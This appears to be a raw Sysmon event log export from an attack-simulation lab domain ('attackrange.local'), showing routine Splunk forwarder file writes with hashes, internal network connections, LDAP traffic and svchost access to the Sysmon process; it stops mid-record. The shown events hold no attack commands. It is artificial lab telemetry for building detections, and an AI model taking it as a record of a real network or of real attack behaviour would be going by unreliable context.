23542300x800000000000000015379Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:49.435{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8E1C4FC349EADA266B9D39E463B1CF95,SHA256=FF283C0497914159E15479FEB6131DA1D88FB49E919B9D1F964DE955A5E028CB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047686Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:50.638{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D753A2C65A562DB357AD3FB97921BE02,SHA256=29CD8EFFFE3CEF3A50BF3FFF4C2EA944088552F8BF64FA29F9141D7BF1B6D4B3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015381Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:50.466{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BBB1B6E69814825AD72AA046C93A864D,SHA256=5575F21F0E4076B0CFDBF60D57F2B88E45D60392C797B7F977A3A2B186EB3E2A,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047685Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:46.434{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59411-false10.0.1.12-8000- 354300x800000000000000015380Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:48.525{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50219-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000047687Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:51.728{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C8293BE544D53F3BCB7C9759F178ED9F,SHA256=D5ED1B4C60CCFA000E944F904B6A62AEB65793D9293135B05BB38C932B2D1C22,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015382Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:51.494{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C70EB6094BA7BE15E5A809092C4725F0,SHA256=866A105D1EEEC5B6BE084F67CE6EA2ADD76E6B27D615F8212765A712353845EF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047688Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:52.743{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7B4370B0BAC1A4154D3AA4B5D82AFEAB,SHA256=5FDD457BB537BCD03A7D3234F23D7FF24A7015C532E7116F256B848BD3E33E4C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015383Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:52.509{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=683D9A5742F8C99A3C138F8E23E32FA6,SHA256=85B21B7BEF90DF1BE3D446E8A143D8D6762CC61119A7F9117DDC89C28C025304,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047689Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:53.759{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B3F2D7C619F1FB6E5C30F2E3667A6065,SHA256=4E693815169510A0BABCAF09926E0F70F55474EC5361238D0F2B56C84B59EB23,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015384Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:53.509{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=02CB3798F629099DC7A412219D6F5D0C,SHA256=ED5C05621E6FAEE73C8F6F4DD18C7E8BADBBFE9B8F44210D29B56FA70AF43A7C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047691Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:54.775{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C438D9A68E223F9CDCD20B6E1E4D8DDA,SHA256=BFB108461C8310C8C5B3D0350A19C137129F7C3696AE95F6D263A720FAEE8208,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015386Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:54.869{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015385Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:54.525{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CF221EE1819DC20C197D1F193703956E,SHA256=89571C8C54FB9DC4F6181D54D39CA06CA2EA74654AD720B1858E66CE9C8C721E,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047690Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:51.460{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59412-false10.0.1.12-8000- 23542300x800000000000000047692Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:55.806{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3BD6ECFB4BE343B3650CC97CC5654C3B,SHA256=86E892A55D7D45B5DE7A36C6A056639E1DCECA55EE85F542FA7395C808B38ED7,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015388Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:53.568{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50220-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015387Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:55.556{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=040D0415AB57C061B4EFA21FB3DCB0EA,SHA256=F4DF3A0F38BFA53877C74A13BCF3001E562F6C780E99D5F25BE80DE86A3F478E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047693Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:56.993{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=884DA30AEED9E22FECF7703ECA871BD1,SHA256=56000421E2F35F43127BFFBFD864C56316254E617F20C5AEEC24BB4EB2A83C36,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015390Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:56.572{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E8F3D206D9EEFF7D9CB27CB01D55F264,SHA256=767E17ECA110AF2D806383949F28DAD4E96E62EEA4A45131FB567D0B5E28385D,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015389Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:55.177{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50221-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000015391Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:57.603{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2DB1187DD707872A51015F55416D5500,SHA256=FFA98E350A9BFA03C967AF6AD6D726608C91B14E30491615AC9FCF7BFE229C1E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015392Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:58.681{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=89CE6E46E5B03559F516847DE5C2CBF1,SHA256=18CC5FCF78E111CFAB2AD51811E6240FB575CE315541E01E959505D5401AA9F0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047695Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:58.733{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-047MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047694Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:58.072{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CF8FA562D85A898EAF6614C6FB87A8B4,SHA256=70A066F1471A03441DD86A3600D972290EEA608EE3DACB1D005705BC63A842EE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015393Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:59.697{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EFEF44B1CBB6B468093CBB3CD543CD51,SHA256=42360620F1CC67E316C7627BFFD93BC29B5015B338E5B70CE7A508713A593465,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047700Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:59.740{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-048MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047699Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:56.523{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59413-false10.0.1.12-8000- 23542300x800000000000000047698Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:59.270{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=FCAE785552AE0CF0B48A80062571EF84,SHA256=71D23AEAAC4579343CE6A9A5A5229B98B61C02768F8028DB388C885DB7A541E1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047697Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:59.270{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=182B9C91C3A85637B2D53F158968E54F,SHA256=90F75D4B07DAD743D9A907662D4973162929E7995C20AF409C35433AF8537AC9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047696Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:59.114{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4898059CAE88565FCA49D2BB63E7166A,SHA256=0C70FDA434E520584218C3F9F2EFD4D9BC697C7B02DC9EF82E4C799E4B450A13,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015394Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:00.712{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=43880C246426D55BDE8F5F25D6C609BA,SHA256=82D649B80F35E67E7C5E8E0D92BDBA64986F68D58675EA10C1F75FE5E79C6BD2,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047703Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:57.572{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59414-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000047702Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:57.572{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59414-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 23542300x800000000000000047701Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:00.128{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C9A1AA6EBE392D104BE1A299D6E9423D,SHA256=410D51672B6670E266D1DB7B5516854FD02FCC0659C33D3D45D5F74EE241A3ED,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015396Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:01.713{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=71C3AA65336BF7851055A474CD8E30BE,SHA256=217AA23D505A8537B54FE569529522919076673DDFAEC60198B230DE2AF286DD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047704Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:01.226{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D1CDCA917D605C205F6AD27C7ABC73F9,SHA256=90840F8697A2346E6118FFA61FB95C6043455135EE3380B2347D7D092AEF7208,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015395Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:59.396{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50222-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015398Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:02.759{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5B33DB1198AD8F498F599F878A14FB59,SHA256=A03EF2CB21C1AAFAA03AE89CC546DF6476AB08921698809C7CDE99B5536DA20A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047705Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:02.429{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DE665CE81011E6547D9EDB5D9FFDC242,SHA256=ED0ECACCFB250AA06DA6D99B8A99CC945EE33ABE1E66DC938CE0CED09F28862E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015397Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:02.259{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=A562EF3238FCB7C82FAD25F3D54FFE79,SHA256=0CCFB5F1EF96B79C159746F4B4431C02D20EF2DE2683058744AAD2D7AF72437D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015414Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:03.891{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-038MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015413Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:03.870{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F4BE4C54B6458C105FB33CB2F4274DC9,SHA256=EB880A72974C204E33DC3171DE22D5D9D7C259AA3C4922E4480859B7FFCF5016,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047706Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:03.492{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3C25A025C60C1E801B9426E1E8BFC947,SHA256=E5966B1E730782BB8AD33BCCE92163128F91E0C31246BB550E58C424F8A77F7C,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015412Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:03.667{625C326B-67EE-613B-1500-00000000F101}3601324C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\cryptsvc.dll+6124|c:\windows\system32\cryptsvc.dll+5e34|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015411Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:03.651{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015410Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:03.651{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015409Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:03.651{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015408Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 